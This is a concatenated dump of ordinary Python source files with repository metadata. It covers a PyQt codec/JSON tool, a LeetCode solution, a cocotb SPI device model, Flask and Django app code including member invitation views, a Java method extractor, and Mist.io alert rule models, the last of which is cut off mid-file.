self.btnJsonEscape.setObjectName("btnJsonEscape") self.horizontalLayout_2.addWidget(self.btnJsonEscape) self.btnJsonDeescape = QtWidgets.QPushButton(self.groupBox_2) self.btnJsonDeescape.setObjectName("btnJsonDeescape") self.horizontalLayout_2.addWidget(self.btnJsonDeescape) self.btnJsonCopy = QtWidgets.QPushButton(self.groupBox_2) self.btnJsonCopy.setObjectName("btnJsonCopy") self.horizontalLayout_2.addWidget(self.btnJsonCopy) self.btnJsonClear = QtWidgets.QPushButton(self.groupBox_2) self.btnJsonClear.setObjectName("btnJsonClear") self.horizontalLayout_2.addWidget(self.btnJsonClear) self.verticalLayout_2.addWidget(self.groupBox_2) self.tabWidget.addTab(self.tab_2, "") self.gridLayout.addWidget(self.tabWidget, 0, 0, 1, 1) MainWindow.setCentralWidget(self.centralwidget) self.menubar = QtWidgets.QMenuBar(MainWindow) self.menubar.setGeometry(QtCore.QRect(0, 0, 963, 23)) self.menubar.setObjectName("menubar") MainWindow.setMenuBar(self.menubar) self.statusbar = QtWidgets.QStatusBar(MainWindow) self.statusbar.setObjectName("statusbar") MainWindow.setStatusBar(self.statusbar) self.retranslateUi(MainWindow) self.tabWidget.setCurrentIndex(0) self.btnClear.clicked.connect(self.txtResult.clear) self.btnClear.clicked.connect(self.txtRaw.clear) QtCore.QMetaObject.connectSlotsByName(MainWindow) def retranslateUi(self, MainWindow): _translate = QtCore.QCoreApplication.translate MainWindow.setWindowTitle(_translate("MainWindow", "MainWindow")) self.label.setText(_translate("MainWindow", "Raw Text:")) self.groupBox.setTitle(_translate("MainWindow", "Operation")) self.btnEncoding.setText(_translate("MainWindow", "Encoding")) self.btnDecoding.setText(_translate("MainWindow", "Decoding")) self.btnExchange.setText(_translate("MainWindow", "Exchange")) self.btnClear.setText(_translate("MainWindow", "Clear")) self.cboxCodecType.setItemText(0, _translate("MainWindow", "Base64")) self.label_2.setText(_translate("MainWindow", "Result Text:")) self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab), _translate("MainWindow", "Codec")) self.groupBox_2.setTitle(_translate("MainWindow", "Operation")) self.btnJsonFormat.setText(_translate("MainWindow", "Format")) self.btnJsonCompress.setText(_translate("MainWindow", "Compress")) self.btnJsonEscape.setText(_translate("MainWindow", "Escape")) self.btnJsonDeescape.setText(_translate("MainWindow", "De-Escape")) self.btnJsonCopy.setText(_translate("MainWindow", "Copy")) self.btnJsonClear.setText(_translate("MainWindow", "Clear")) self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_2), _translate("MainWindow", "Json")) if __name__ == "__main__": import sys app = QtWidgets.QApplication(sys.argv) MainWindow = QtWidgets.QMainWindow() ui = Ui_MainWindow() ui.setupUi(MainWindow) MainWindow.show() sys.exit(app.exec_())

52.782895

108

0.720429

7,537

0.939424

0

978

0.1219

42835a66857dcf283ba037650081bbeeec2eb903

587

py

Python

leetcode/345.reverse-vowels-of-a-string.py

geemaple/algorithm

68bc5032e1ee52c22ef2f2e608053484c487af54

[ "MIT" ]

177

2017-08-21T08:57:43.000Z

2020-06-22T03:44:22.000Z

leetcode/345.reverse-vowels-of-a-string.py

geemaple/algorithm

68bc5032e1ee52c22ef2f2e608053484c487af54

[ "MIT" ]

2

2018-09-06T13:39:12.000Z

2019-06-03T02:54:45.000Z

leetcode/345.reverse-vowels-of-a-string.py

geemaple/algorithm

68bc5032e1ee52c22ef2f2e608053484c487af54

[ "MIT" ]

23

2017-08-23T06:01:28.000Z

2020-04-20T03:17:36.000Z

class Solution(object): def reverseVowels(self, s): """ :type s: str :rtype: str """ vowels = set("aeiouAEIOU") s = list(s) i = 0 j = len(s) - 1 while i < j: while i < j and s[i] not in vowels: i += 1 while i < j and s[j] not in vowels: j -= 1 if i < j: s[i], s[j] = s[j], s[i] i += 1 j -= 1 return ''.join(s)

22.576923

47

0.294719

587

1

0

70

0.11925

4283b88a83b93254b8e97d4642f0ca0d5d69279d

68

py

Python

examples/02_pybind/01_basic/example.py

BlockResearchGroup/WS_interoperability

604ab29c242b30b2ee9125a589afe69010ba1844

[ "MIT" ]

1

2019-07-26T22:25:25.000Z

examples/02_pybind/01_basic/example.py

BlockResearchGroup/WS_interoperability

604ab29c242b30b2ee9125a589afe69010ba1844

[ "MIT" ]

5

2019-04-14T21:07:03.000Z

2019-05-27T21:46:37.000Z

examples/02_pybind/01_basic/example.py

BlockResearchGroup/WS_interoperability

604ab29c242b30b2ee9125a589afe69010ba1844

[ "MIT" ]

null

# example.py import basic result = basic.add(1, 5) print(result)

8.5

24

0.691176

0

12

0.176471

4284396ea1fd88ed33820f0870333abd8149c2de

2,213

py

Python

cocotbext/spi/devices/TI/DRV8304.py

eoshea/cocotbext-spi

9b610ca27945e22e168da5774cab8051304ea90f

[ "MIT" ]

2

2021-08-13T20:10:41.000Z

2022-03-09T19:24:24.000Z

cocotbext/spi/devices/TI/DRV8304.py

eoshea/cocotbext-spi

9b610ca27945e22e168da5774cab8051304ea90f

[ "MIT" ]

3

2021-08-23T15:34:00.000Z

2022-01-18T19:27:26.000Z

cocotbext/spi/devices/TI/DRV8304.py

eoshea/cocotbext-spi

9b610ca27945e22e168da5774cab8051304ea90f

[ "MIT" ]

2

2021-11-12T12:47:45.000Z

2021-11-18T10:35:43.000Z

import cocotb from cocotb.triggers import FallingEdge, RisingEdge, First, Timer, Event from ... import SpiSlaveBase, SpiConfig, SpiFrameError, SpiFrameTimeout class DRV8304(SpiSlaveBase): def __init__(self, signals): self._config = SpiConfig( word_width=16, cpol=False, cpha=True, msb_first=True, frame_spacing_ns=400 ) self._registers = { 0: 0b00000000000, 1: 0b00000000000, 2: 0b00000000000, 3: 0b01101110111, 4: 0b11101110111, 5: 0b00101000101, 6: 0b01010000011 } super().__init__(signals) async def get_register(self, reg_num): await self.idle.wait() return self._registers[reg_num] def create_spi_word(self, operation, address, content): command = 0 if operation == "read": command |= 1 << 15 elif operation == "write": # it is already 0 pass else: raise ValueError("Expected operation to be in ['read', 'write']") try: self._registers[address] except KeyError: raise ValueError(f"Expected address to be in {list(self._registers.keys())}") command |= (address & 0b1111) << 11 command |= (content & 0b11111111111) return command async def _transaction(self, frame_start, frame_end): await frame_start self.idle.clear() # SCLK pin should be low at the chip select edge if bool(self._sclk.value): raise SpiFrameError("DRV8304: sclk should be low at chip select edge") do_write = not bool(await self._shift(1)) address = int(await self._shift(4)) content = int(await self._shift(11, tx_word=self._registers[address])) # end of frame if await First(frame_end, RisingEdge(self._sclk)) != frame_end: raise SpiFrameError("DRV8304: clocked more than 16 bits") if bool(self._sclk.value): raise SpiFrameError("DRV8304: sclk should be low at chip select edge") if do_write: self._registers[address] = content

30.315068

89

0.589245

2,050

0.926344

0

918

0.414822

332

0.150023

4289d7f6e86034585cd9c9cf37666cc58aab806e

540

py

Python

manage.py

Kenneth-joseph/Blogs

b6c508d36cdf2f874c233485003021d10567de7b

[ "Unlicense" ]

null

manage.py

Kenneth-joseph/Blogs

b6c508d36cdf2f874c233485003021d10567de7b

[ "Unlicense" ]

null

manage.py

Kenneth-joseph/Blogs

b6c508d36cdf2f874c233485003021d10567de7b

[ "Unlicense" ]

1

2021-11-17T11:03:08.000Z

from app import create_app,db from flask_script import Manager,Server from app.models import User,Comment,Blog from flask_migrate import Migrate, MigrateCommand #manage.shell # Creating app instance app = create_app('production') migrate = Migrate(app,db) manager = Manager(app) manager.add_command('db',MigrateCommand) manager.add_command('server',Server) @manager.shell def make_shell_context(): return dict(db=db,app= app, User = User ,Comment=Comment, Blog=Blog) if __name__== '__main__': manager.run() db.create_all()

24.545455

72

0.766667

0

113

0.209259

0

70

0.12963

428a08abf8ca4b32d91aa59e5ac79f8b3eb02d8f

901

py

Python

src/apps/core/migrations/0005_auto_20180417_1219.py

zhiyuli/HydroLearn

b2c2b44e49d37391149d0896ce5124e882f22ee3

[ "BSD-3-Clause" ]

null

src/apps/core/migrations/0005_auto_20180417_1219.py

zhiyuli/HydroLearn

b2c2b44e49d37391149d0896ce5124e882f22ee3

[ "BSD-3-Clause" ]

null

src/apps/core/migrations/0005_auto_20180417_1219.py

zhiyuli/HydroLearn

b2c2b44e49d37391149d0896ce5124e882f22ee3

[ "BSD-3-Clause" ]

null

# -*- coding: utf-8 -*- # Generated by Django 1.11.7 on 2018-04-17 17:19 from __future__ import unicode_literals from django.db import migrations import django_extensions.db.fields class Migration(migrations.Migration): dependencies = [ ('core', '0004_auto_20180417_1218'), ] operations = [ migrations.AddField( model_name='topic', name='ref_id', field=django_extensions.db.fields.RandomCharField(blank=True, editable=False, length=8, unique=True), ), migrations.AlterField( model_name='topic', name='slug', field=django_extensions.db.fields.AutoSlugField(blank=True, default='', editable=False, help_text='Please enter a unique slug for this Topic (can autogenerate from name field)', max_length=64, populate_from=('ref_id',), unique=True, verbose_name='slug'), ), ]

33.37037

266

0.657048

716

0.794673

0

224

0.248613

428b1f1d92a691f7e032bddbf0f11e16a416cdf3

186

py

Python

syncgateway/__init__.py

ecordell/syncgateway-admin-client

78a8d45ff290b42b5c771b901fb92edcde126ff4

[ "MIT" ]

null

syncgateway/__init__.py

ecordell/syncgateway-admin-client

78a8d45ff290b42b5c771b901fb92edcde126ff4

[ "MIT" ]

1

2015-12-10T20:42:12.000Z

syncgateway/__init__.py

ecordell/syncgateway-admin-client

78a8d45ff290b42b5c771b901fb92edcde126ff4

[ "MIT" ]

null

23.25

52

0.758065

0

60

0.322581

428b51da1bd2717103e2c7bb03266fb5b3a3af22

7,452

py

Python

members/views.py

leonrenkema/makerspaceleiden-crm

36ea20f5b9e263e8f30b1831ae4a2b1d5b926d3c

[ "Apache-2.0" ]

5

2019-03-12T21:38:32.000Z

2021-11-06T15:26:56.000Z

members/views.py

leonrenkema/makerspaceleiden-crm

36ea20f5b9e263e8f30b1831ae4a2b1d5b926d3c

[ "Apache-2.0" ]

33

2019-01-21T15:54:50.000Z

2021-05-18T17:54:52.000Z

members/views.py

leonrenkema/makerspaceleiden-crm

36ea20f5b9e263e8f30b1831ae4a2b1d5b926d3c

[ "Apache-2.0" ]

5

2019-01-21T15:47:26.000Z

2021-09-22T07:14:34.000Z

from django.shortcuts import render, redirect from django.contrib.auth.forms import PasswordResetForm from django.core.mail import EmailMessage from django.template import loader from django.http import HttpResponse from django.contrib.auth.decorators import login_required from django.conf import settings from django.db.utils import IntegrityError from django.urls import reverse from django.template.loader import render_to_string, get_template from .forms import NewUserForm, NewAuditRecordForm from acl.models import Entitlement, PermitType from members.models import Tag, User, clean_tag_string, AuditRecord from mailinglists.models import Mailinglist, Subscription import logging import datetime import sys import re logger = logging.getLogger(__name__) @login_required def index(request): lst = Entitlement.objects.order_by("holder__id") agg = {} perms = {} output = "" for e in lst: if not e.holder in agg: agg[e.holder] = {} perms[e.permit.name] = 1 agg[e.holder][e.permit.name] = 1 context = { "agg": agg, "perms": perms, "has_permission": request.user.is_authenticated, } return render(request, "members/index.html", context) @login_required def newmember(request): if not request.user.is_privileged: return HttpResponse("XS denied", status=403, content_type="text/plain") if request.POST: form = NewUserForm(request.POST) if form.is_valid(): try: email = form.cleaned_data.get("email") tag = form.cleaned_data.get("tag") newmember = User.objects.create_user( email=email, first_name=form.cleaned_data.get("first_name"), last_name=form.cleaned_data.get("last_name"), ) # Do not set this - it silently blocks the invite mails deep in PasswordResetForm. # # newmember.set_unusable_password() # newmember.set_password(User.objects.make_random_password()) if form.cleaned_data.get("phone_number"): newmember.phone_number = form.cleaned_data.get("phone_number") newmember.changeReason = ( "Added by {} with the newnmeber signup form".format(request.user) ) newmember.save() # sanity check. newmember = User.objects.get(email=email) # Wire up the tag if one was provided. if form.cleaned_data.get("tag"): tag.reassing_to_user( newmember, request.user, activate=form.cleaned_data.get("activate_doors"), ) # Subscribe user if needed for mlist_name in form.cleaned_data.get("mailing_lists"): try: mlist = Mailinglist.objects.get(name=mlist_name) s = Subscription.objects.create( mailinglist=mlist, member=newmember, active=True, digest=False, ) s.subscribe() # s.changeReason("Subscribed during form based new user create") s.save() except Exception as e: logger.error( "Failed to subscribe user {} to {} : {}".format( request.user, mlist_name, e ) ) # Send welcome email. form = PasswordResetForm({"email": newmember.email}) if not form.is_valid(): raise Exception("Internal issue") form.save( from_email=settings.DEFAULT_FROM_EMAIL, email_template_name="members/email_newmembers_invite.txt", subject_template_name="members/email_newmembers_invite_subject.txt", ) return redirect("index") except IntegrityError as e: logger.error("Failed to create user : {}".format(e)) return HttpResponse( "Create gone wrong. Was that email or name already added ?", status=500, content_type="text/plain", ) except Exception as e: exc_type, exc_obj, tb = sys.exc_info() f = tb.tb_frame lineno = tb.tb_lineno filename = f.f_code.co_filename logger.error( "Failed to create user : {} at {}:{}".format(filename, lineno, e) ) return HttpResponse( "Create gone wrong. Drat.", status=500, content_type="text/plain" ) else: logger.debug("Form not valid") context = { "label": "Add a new member", "title": "New Member", "action": "Invite", "has_permission": request.user.is_authenticated, } context["form"] = NewUserForm() return render(request, "members/newmember.html", context) @login_required def sudo(request): if not request.user.can_escalate_to_priveleged: return HttpResponse("XS denied", status=403, content_type="text/plain") if request.POST: form = NewAuditRecordForm(request.POST) if form.is_valid(): try: record = form.save(commit=False) record.user = request.user record.changeReason = ( f"SUDO escalation in webinterface by {request.user}" ) record.save() return redirect(form.cleaned_data.get("return_to")) # return redirect('index') except Exception as e: logger.error("Failed to create uudit recordser : {}".format(e)) return HttpResponse( "Could not create audit record.", status=500, content_type="text/plain", ) rurl = reverse("index") if "HTTP_REFERER" in request.META: rurl = request.META["HTTP_REFERER"] form = NewAuditRecordForm(None, initial={"return_to": rurl}) context = { "label": "GDPR (AVG)", "title": "Become and admin", "action": "go admin", "form": form, "back": "index", "has_permission": request.user.is_authenticated, "preamble": render_to_string("precooked_gdpr_options.html"), } return render(request, "crud.html", context) def drop(request): if not request.user.can_escalate_to_priveleged: return HttpResponse("XS denied", status=403, content_type="text/plain") record = AuditRecord( user=request.user, final=True, action="Drop privs from webinterface" ) if request.user.is_privileged: record.changereason = f"DROP in webinterface by {request.user}" else: record.changereason = f"DROP in webinterface by {request.user} - but actual permission had already timed out." record.save() return redirect(request.META["HTTP_REFERER"])

35.485714

118

0.554616

0

6,106

0.819377

0

1,543

0.207059

428b5eca1188b78557324447b1ddda687b1af59c

3,911

py

Python

test_scripts/ns_instance/duan/service/vfc/nfvo/lcm/lcm/ns/views/deprecated/create_ns_view.py

lremember/VFC

837559db1396091811382359100bfc60e1aab5b2

[ "MIT" ]

1

2019-10-10T00:52:18.000Z

test_scripts/ns_instance/duan/service/vfc/nfvo/lcm/lcm/ns/views/deprecated/create_ns_view.py

lremember/VFC-Files

837559db1396091811382359100bfc60e1aab5b2

[ "MIT" ]

null

test_scripts/ns_instance/duan/service/vfc/nfvo/lcm/lcm/ns/views/deprecated/create_ns_view.py

lremember/VFC-Files

837559db1396091811382359100bfc60e1aab5b2

[ "MIT" ]

null

# Copyright 2018 ZTE Corporation. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import logging from drf_yasg.utils import swagger_auto_schema from rest_framework import status from rest_framework.response import Response from rest_framework.views import APIView from lcm.ns.biz.ns_create import CreateNSService from lcm.ns.biz.ns_get import GetNSInfoService from lcm.ns.serializers.deprecated.ns_serializers import _CreateNsReqSerializer from lcm.ns.serializers.deprecated.ns_serializers import _CreateNsRespSerializer from lcm.ns.serializers.deprecated.ns_serializers import _QueryNsRespSerializer from lcm.pub.exceptions import NSLCMException from lcm.pub.exceptions import BadRequestException from lcm.pub.utils.values import ignore_case_get from .common import view_safe_call_with_log logger = logging.getLogger(__name__) class CreateNSView(APIView): @swagger_auto_schema( request_body=None, responses={ status.HTTP_200_OK: _QueryNsRespSerializer(help_text="NS instances", many=True), status.HTTP_500_INTERNAL_SERVER_ERROR: "Inner error" } ) @view_safe_call_with_log(logger=logger) def get(self, request): logger.debug("CreateNSView::get") ret = GetNSInfoService().get_ns_info() logger.debug("CreateNSView::get::ret=%s", ret) resp_serializer = _QueryNsRespSerializer(data=ret, many=True) if not resp_serializer.is_valid(): raise NSLCMException(resp_serializer.errors) return Response(data=resp_serializer.data, status=status.HTTP_200_OK) @swagger_auto_schema( request_body=_CreateNsReqSerializer(), responses={ status.HTTP_201_CREATED: _CreateNsRespSerializer(), status.HTTP_400_BAD_REQUEST: "Bad Request", status.HTTP_500_INTERNAL_SERVER_ERROR: "Inner error" } ) @view_safe_call_with_log(logger=logger) def post(self, request): logger.debug("Enter CreateNS: %s", request.data) req_serializer = _CreateNsReqSerializer(data=request.data) if not req_serializer.is_valid(): raise BadRequestException(req_serializer.errors) if ignore_case_get(request.data, 'test') == "test": return Response( data={'nsInstanceId': "test"}, status=status.HTTP_201_CREATED ) csar_id = ignore_case_get(request.data, 'csarId') ns_name = ignore_case_get(request.data, 'nsName') description = ignore_case_get(request.data, 'description') context = ignore_case_get(request.data, 'context') ns_inst_id = CreateNSService( csar_id, ns_name, description, context ).do_biz() logger.debug("CreateNSView::post::ret={'nsInstanceId':%s}", ns_inst_id) resp_serializer = _CreateNsRespSerializer( data={'nsInstanceId': ns_inst_id, 'nsInstanceName': 'nsInstanceName', 'nsInstanceDescription': 'nsInstanceDescription', 'nsdId': 123, 'nsdInfoId': 456, 'nsState': 'NOT_INSTANTIATED', '_links': {'self': {'href': 'href'}}}) if not resp_serializer.is_valid(): raise NSLCMException(resp_serializer.errors) return Response(data=resp_serializer.data, status=status.HTTP_201_CREATED)

41.168421

92

0.692662

2,575

0.658399

0

2,536

0.648428

0

968

0.247507

428be7b7fc4fa9ed70e9c54b4441f37388d4cbd4

3,304

py

Python

parse_training_input.py

alexpotter1/vulndetect-ml

338fbf919b24520f9107a1604d1c8af48aadff76

[ "MIT" ]

1

2020-02-25T01:53:23.000Z

parse_training_input.py

alexpotter1/vulndetect-ml

338fbf919b24520f9107a1604d1c8af48aadff76

[ "MIT" ]

null

parse_training_input.py

alexpotter1/vulndetect-ml

338fbf919b24520f9107a1604d1c8af48aadff76

[ "MIT" ]

1

2020-10-24T15:30:38.000Z

#!/usr/bin/env python3 import javalang def isPrimitive(obj): return not hasattr(obj, '__dict__') def extract_bad_function_from_text(src): return extract_function_from_text(src, criterion='bad') def extract_function_from_text(src, criterion='bad'): def recursive_find_deepest_child_position(node_body, prev_deepest=0): child_direct_child_set = None # line number, don't currently care about column too much if isinstance(node_body, list): deepest_position = prev_deepest node_children = [c for c in node_body if c is not isPrimitive(c) and c is not None] if len(node_children) == 0: return deepest_position else: if node_body.position is not None: deepest_position = node_body.position.line else: deepest_position = prev_deepest node_children = [c for c in node_body.children if c is not isPrimitive(c) and c is not None] if len(node_children) == 0: return deepest_position for child in node_children: try: if child.position is not None: child_sub_pos = child.position.line else: child_sub_pos = deepest_position child_direct_child_set = child.children except AttributeError: # most likely is not an object child_sub_pos = deepest_position if isinstance(child, list): child_direct_child_set = child else: child_direct_child_set = [] if len(child_direct_child_set) > 0: child_sub_pos = recursive_find_deepest_child_position(child_direct_child_set, prev_deepest=child_sub_pos) if child_sub_pos > deepest_position: deepest_position = child_sub_pos return deepest_position if not isinstance(src, str): src = src.decode('utf-8') src_split = src.split('\n') try: tree = javalang.parse.parse(src) for _, node in tree.filter(javalang.tree.MethodDeclaration): if node.name.lower() == str(criterion).lower(): # tokenise, find the start/end of method, # and extract from the file # needed since javalang can't convert back to java src start_pos = node.position.line end_pos = None if (len(node.body) > 0): end_pos = recursive_find_deepest_child_position(node.body[-1]) if end_pos is None: end_pos = start_pos function_text = "" for line in range(start_pos, end_pos + 1): function_text += src_split[line - 1] return function_text return "" except (javalang.parser.JavaSyntaxError, javalang.parser.JavaParserError) as e: print("ERROR OCCURRED DURING PARSING") print(e) def extract_bad_function(file_path): return extract_function(file_path, criterion='bad') def extract_function(file_path, criterion): with open(file_path, 'r') as f: return extract_function_from_text(f.read(), criterion)

33.714286

121

0.59776

0

305

0.092312

428caa0f2af4107e3b019feaf07304cc2bf7796d

17,226

py

Python

src/mist/api/rules/models/main.py

SpiralUp/mist.api

a3b5233ab4aa3f6a0a2dea6333ff1e5a260af934

[ "Apache-2.0" ]

6

2017-08-24T00:34:30.000Z

2022-01-16T21:29:22.000Z

src/mist/api/rules/models/main.py

SpiralUp/mist.api

a3b5233ab4aa3f6a0a2dea6333ff1e5a260af934

[ "Apache-2.0" ]

9

2021-03-31T18:50:47.000Z

2022-01-09T23:20:02.000Z

src/mist/api/rules/models/main.py

SpiralUp/mist.api

a3b5233ab4aa3f6a0a2dea6333ff1e5a260af934

[ "Apache-2.0" ]

13

2017-09-21T18:17:02.000Z

2022-02-21T04:29:25.000Z

import uuid import mongoengine as me from mist.api import config from mist.api.exceptions import BadRequestError from mist.api.users.models import Organization from mist.api.selectors.models import SelectorClassMixin from mist.api.rules.base import NoDataRuleController from mist.api.rules.base import ResourceRuleController from mist.api.rules.base import ArbitraryRuleController from mist.api.rules.models import RuleState from mist.api.rules.models import Window from mist.api.rules.models import Frequency from mist.api.rules.models import TriggerOffset from mist.api.rules.models import QueryCondition from mist.api.rules.models import BaseAlertAction from mist.api.rules.models import NotificationAction from mist.api.rules.plugins import GraphiteNoDataPlugin from mist.api.rules.plugins import GraphiteBackendPlugin from mist.api.rules.plugins import InfluxDBNoDataPlugin from mist.api.rules.plugins import InfluxDBBackendPlugin from mist.api.rules.plugins import ElasticSearchBackendPlugin from mist.api.rules.plugins import FoundationDBNoDataPlugin from mist.api.rules.plugins import FoundationDBBackendPlugin from mist.api.rules.plugins import VictoriaMetricsNoDataPlugin from mist.api.rules.plugins import VictoriaMetricsBackendPlugin class Rule(me.Document): """The base Rule mongoengine model. The Rule class defines the base schema of all rule types. All documents of any Rule subclass will be stored in the same mongo collection. All Rule subclasses MUST define a `_controller_cls` class attribute and a backend plugin. Controllers are used to perform actions on instances of Rule, such as adding or updating. Backend plugins are used to transform a Rule into the corresponding query to be executed against a certain data storage. Different types of rules, such as a rule on monitoring metrics or a rule on logging data, should also define and utilize their respective backend plugins. For instance, a rule on monitoring data, which is stored in a TSDB like Graphite, will have to utilize a different plugin than a rule on logging data, stored in Elasticsearch, in order to successfully query the database. The Rule class is mainly divided into two categories: 1. Arbitrary rules - defined entirely by the user. This type of rules gives users the freedom to execute arbitrary queries on arbitrary data. The query may include (nested) expressions and aggregations on arbitrary fields whose result will be evaluated against a threshold based on a comparison operator (=, <, etc). 2. Resource rules - defined by using Mist.io UUIDs and tags. This type of rules can be used to easily setup alerts on resources given their tags or UUIDs. In this case, users have to explicitly specify the target metric's name, aggregation function, and resources either by their UUIDs or tags. This type of rules allows for easier alert configuration on known resources in the expense of less elastic query expressions. The Rule base class can be used to query the database and fetch documents created by any Rule subclass. However, in order to add new rules one must use one of the Rule subclasses, which represent different rule type, each associated with the corresponding backend plugin. """ id = me.StringField(primary_key=True, default=lambda: uuid.uuid4().hex) title = me.StringField(required=True) owner_id = me.StringField(required=True) # Specifies a list of queries to be evaluated. Results will be logically # ANDed together in order to decide whether an alert should be raised. queries = me.EmbeddedDocumentListField(QueryCondition, required=True) # Defines the time window and frequency of each search. window = me.EmbeddedDocumentField(Window, required=True) frequency = me.EmbeddedDocumentField(Frequency, required=True) # Associates a reminder offset, which will cause an alert to be fired if # and only if the threshold is exceeded for a number of trigger_after # intervals. trigger_after = me.EmbeddedDocumentField( TriggerOffset, default=lambda: TriggerOffset(period='minutes') ) # Defines a list of actions to be executed once the rule is triggered. # Defaults to just notifying the users. actions = me.EmbeddedDocumentListField( BaseAlertAction, required=True, default=lambda: [NotificationAction()] ) # Disable the rule organization-wide. disabled = me.BooleanField(default=False) # Fields passed to scheduler as optional arguments. queue = me.StringField() exchange = me.StringField() routing_key = me.StringField() # Fields updated by the scheduler. last_run_at = me.DateTimeField() run_immediately = me.BooleanField() total_run_count = me.IntField(min_value=0, default=0) total_check_count = me.IntField(min_value=0, default=0) # Field updated by dramatiq workers. This is where workers keep state. states = me.MapField(field=me.EmbeddedDocumentField(RuleState)) meta = { 'strict': False, 'collection': 'rules', 'allow_inheritance': True, 'indexes': [ 'owner_id', { 'fields': ['owner_id', 'title'], 'sparse': False, 'unique': True, 'cls': False, } ] } _controller_cls = None _backend_plugin = None _data_type_str = None def __init__(self, *args, **kwargs): super(Rule, self).__init__(*args, **kwargs) if self._controller_cls is None: raise TypeError( "Cannot instantiate self. %s is a base class and cannot be " "used to insert or update alert rules and actions. Use a " "subclass of self that defines a `_controller_cls` class " "attribute derived from `mist.api.rules.base:BaseController`, " "instead." % self.__class__.__name__ ) if self._backend_plugin is None: raise NotImplementedError( "Cannot instantiate self. %s does not define a backend_plugin " "in order to evaluate rules against the corresponding backend " "storage." % self.__class__.__name__ ) if self._data_type_str not in ('metrics', 'logs', ): raise TypeError( "Cannot instantiate self. %s is a base class and cannot be " "used to insert or update rules. Use a subclass of self that " "defines a `_backend_plugin` class attribute, as well as the " "requested data's type via the `_data_type_str` attribute, " "instead." % self.__class__.__name__ ) self.ctl = self._controller_cls(self) @classmethod def add(cls, auth_context, title=None, **kwargs): """Add a new Rule. New rules should be added by invoking this class method on a Rule subclass. Arguments: owner: instance of mist.api.users.models.Organization title: the name of the rule. This must be unique per Organization kwargs: additional keyword arguments that will be passed to the corresponding controller in order to setup the self """ try: cls.objects.get(owner_id=auth_context.owner.id, title=title) except cls.DoesNotExist: rule = cls(owner_id=auth_context.owner.id, title=title) rule.ctl.set_auth_context(auth_context) rule.ctl.add(**kwargs) else: raise BadRequestError('Title "%s" is already in use' % title) return rule @property def owner(self): """Return the Organization (instance) owning self. We refrain from storing the owner as a me.ReferenceField in order to avoid automatic/unwanted dereferencing. """ return Organization.objects.get(id=self.owner_id) @property def org(self): """Return the Organization (instance) owning self. """ return self.owner @property def plugin(self): """Return the instance of a backend plugin. Subclasses MUST define the plugin to be used, instantiated with `self`. """ return self._backend_plugin(self) # NOTE The following properties are required by the scheduler. @property def name(self): """Return the name of the task. """ return 'Org(%s):Rule(%s)' % (self.owner_id, self.id) @property def task(self): """Return the dramatiq task to run. This is the most basic dramatiq task that should be used for most rule evaluations. However, subclasses may provide their own property or class attribute based on their needs. """ return 'mist.api.rules.tasks.evaluate' @property def args(self): """Return the args of the dramatiq task.""" return (self.id, ) @property def kwargs(self): """Return the kwargs of the dramatiq task.""" return {} @property def expires(self): """Return None to denote that self is not meant to expire.""" return None @property def enabled(self): """Return True if the dramatiq task is currently enabled. Subclasses MAY override or extend this property. """ return not self.disabled def is_arbitrary(self): """Return True if self is arbitrary. Arbitrary rules lack a list of `selectors` that refer to resources either by their UUIDs or by tags. Such a list makes it easy to setup rules referencing specific resources without the need to provide the raw query expression. """ return 'selectors' not in type(self)._fields def clean(self): # FIXME This is needed in order to ensure rule name convention remains # backwards compatible with the old monitoring stack. However, it will # have to change in the future due to uniqueness constrains. if not self.title: self.title = 'rule%d' % self.owner.rule_counter def as_dict(self): return { 'id': self.id, 'title': self.title, 'queries': [query.as_dict() for query in self.queries], 'window': self.window.as_dict(), 'frequency': self.frequency.as_dict(), 'trigger_after': self.trigger_after.as_dict(), 'actions': [action.as_dict() for action in self.actions], 'disabled': self.disabled, 'data_type': self._data_type_str, } def __str__(self): return '%s %s of %s' % (self.__class__.__name__, self.title, self.owner) class ArbitraryRule(Rule): """A rule defined by a single, arbitrary query string. Arbitrary rules permit the definition of complex query expressions by allowing users to define fully qualified queries in "raw mode" as a single string. In such case, a query expression may be a composite query that includes nested aggregations and/or additional queries. An `ArbitraryRule` must define a single `QueryCondition`, whose `target` defines the entire query expression as a single string. """ _controller_cls = ArbitraryRuleController class ResourceRule(Rule, SelectorClassMixin): """A rule bound to a specific resource type. Resource-bound rules are less elastic than arbitrary rules, but allow users to perform quick, more dynamic filtering given a resource object's UUID, tags, or model fields. Every subclass of `ResourceRule` MUST define its `selector_resource_cls` class attribute in order for queries to be executed against the intended mongodb collection. A `ResourceRule` may also apply to multiple resources, which depends on the rule's list of `selectors`. By default such a rule will trigger an alert if just one of its queries evaluates to True. """ _controller_cls = ResourceRuleController @property def enabled(self): return (super(ResourceRule, self).enabled and bool(self.get_resources().count())) def clean(self): # Enforce singular resource types for uniformity. if self.resource_model_name.endswith('s'): self.resource_model_name = self.resource_model_name[:-1] super(ResourceRule, self).clean() def as_dict(self): d = super(ResourceRule, self).as_dict() d['selectors'] = [cond.as_dict() for cond in self.selectors] d['resource_type'] = self.resource_model_name return d # FIXME All following properties are for backwards compatibility. @property def metric(self): assert len(self.queries) is 1 return self.queries[0].target @property def operator(self): assert len(self.queries) is 1 return self.queries[0].operator @property def value(self): assert len(self.queries) is 1 return self.queries[0].threshold @property def aggregate(self): assert len(self.queries) is 1 return self.queries[0].aggregation @property def reminder_offset(self): return self.frequency.timedelta.total_seconds() - 60 @property def action(self): for action in reversed(self.actions): if action.atype == 'command': return 'command' if action.atype == 'machine_action': return action.action if action.atype == 'notification': return 'alert' class MachineMetricRule(ResourceRule): _data_type_str = 'metrics' @property def _backend_plugin(self): if config.DEFAULT_MONITORING_METHOD.endswith('-graphite'): return GraphiteBackendPlugin if config.DEFAULT_MONITORING_METHOD.endswith('-influxdb'): return InfluxDBBackendPlugin if config.DEFAULT_MONITORING_METHOD.endswith('-tsfdb'): return FoundationDBBackendPlugin if config.DEFAULT_MONITORING_METHOD.endswith('-victoriametrics'): return VictoriaMetricsBackendPlugin raise Exception() def clean(self): super(MachineMetricRule, self).clean() if self.resource_model_name != 'machine': raise me.ValidationError( 'Invalid resource type "%s". %s can only operate on machines' % (self.resource_model_name, 